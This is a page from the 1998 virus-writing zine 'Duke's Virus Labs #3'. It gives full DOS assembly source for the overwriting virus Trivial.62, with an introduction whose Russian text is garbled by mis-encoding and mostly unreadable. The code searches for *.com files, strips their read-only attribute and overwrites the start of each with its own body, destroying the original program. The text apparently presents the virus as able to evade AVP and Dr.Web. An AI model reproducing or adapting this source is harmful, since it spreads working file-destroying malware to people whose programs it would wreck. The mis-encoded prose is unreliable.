- [Duke's Virus Labs #3] - [Page 17] -

Trivial.62 & Trivial.60
(c) by Duke/SMF

     : Trivial.62 & Trivial.60
         : Duke/SMF
 ᮧ : 18.12.98

    ⮬  㡫 HLLC.Smoller.70440 ( 12).  ᥩ 
।⠢ ᢮ - Trivial.62.
       ਢ,      ᭮ .
 ࠡ  R/O 䠩   ਡ 䠩   
Read/Write,  ⮬,    祬  뢠, 뢠 䠩  .
 ਥ  । Kouch,     ୮.
    ⠫쭮 - 祣 ᭮.   ⪮஢ 室
(  让 ;)), ⮬   ᥬ ࠧ ᠬ.
    ࠡ  mini-ᮬ   ⠫  ⥬,  ᮧ 
 ।﫨 AVP  Trivial-based,   ᨫ쭮 頫  
稭:
   1)   ୠ ,  㦥 ⥪ ⨢ᮬ,
       襩  ᭮,   讬  - 뤭;
   2) ᬮ 3- ਭ樯 ᮯ⥫,   :
      "  ,   ⥪ ⨢ᠬ".
⮬  ।뢠  ।뢠 ᢮ ⢮⢮,   襫  
ਠ.   ,   뫮  訩  (ਬ,
ࠢ   ⨥ 䠩). 㣮  -     ? (ᬮ
2- ਭ樯 ᮯ⥫,   " ᮢ   ࠧ" :)
⮬  ਫ饬   娢 ᮤন  ᪮쪮 ਠ⮢
⮣  ;)
      ᪠  㦨,  ᫨  䠩  
  "*.com"  "*.*" ,  稬
   1) ࠧ  ᮪  2  (,   ᫥  ;))
   2) ᠬ ⥩ ⨪ ணࠬ AVP  Dr.Web 뢠
         ⠥ 뤠     뫮 ७ !
 ਠ  ।⠢  䠩 tr_60.asm. 筮,  ⮪ -
१뢠   䠩, ,   1- ਭ樯 ᮯ⥫,
",   ࠧ,  ࠢ  !" :)
   ⠪, . ࠦ  COM-䠩 ⥪饣 ⠫, 뢠  
砫  ਣ쭮 ᮤন. 室 । 
(䠩 tr_62.asm):

===== Cut here =====
;Trivial.62 (c) by Duke/SMF

                model   tiny
                .code
                org     100h
virus_length    equ     finish - start      ; 
                ;   ⮣,    
                ;   ⮬ , 먣뢠 2  !

start  :                                    ;砫 
                mov     ah,04Eh             ; ࢮ 䠩
                mov     dx,offset file_spec ;DX 㪠뢠  "*.com"
infect:
                int     21h
                jnc     infect_file         ;᫨ 䠩 ,  ࠦ,
                ret                         ; ⨢ 砥  ࠡ.
infect_file:
                mov     ah,43H              ;   䠩
                mov     al,0                ;ਡ    
                mov     dx,09Eh             ;  ⥭/, 
                int     21H                 ; ਤ ६ 뢠 䠩
                                            ;
                mov     ah,43H              ; ᬮ ࠧ 䠩
                mov     al,1                ; ਡ⮬ 'read only'.
                mov     dx,09Eh             ; ⠢ 㯭
                mov     cl,0                ; ⥭/, ᪮
                int     21H                 ;   ஢.

                mov     ax,03D01h           ;뢠 䠩  
                mov     dx,09Eh             ;DX 㪠뢠   䠩
                int     021h

                xchg    bx,ax               ;BX ᮤন 䠩 handle

                mov     ah,040h             ;㭪   䠩
                mov     cl,virus_length     ;CL = ᪮쪮  
                mov     dx,offset start     ;DX = 砫  
                int     021h

                mov     ah,03Eh             ;뢠 䠩
                int     021h

                mov     ah,04Fh             ; ᫥饣 䠩
                jmp     infect              ;室  ࠦ

file_spec       db      "*.com",0           ;᪠ 䠩  ᪠

finish  :                                   ; 
                end     start
===== Cut here =====
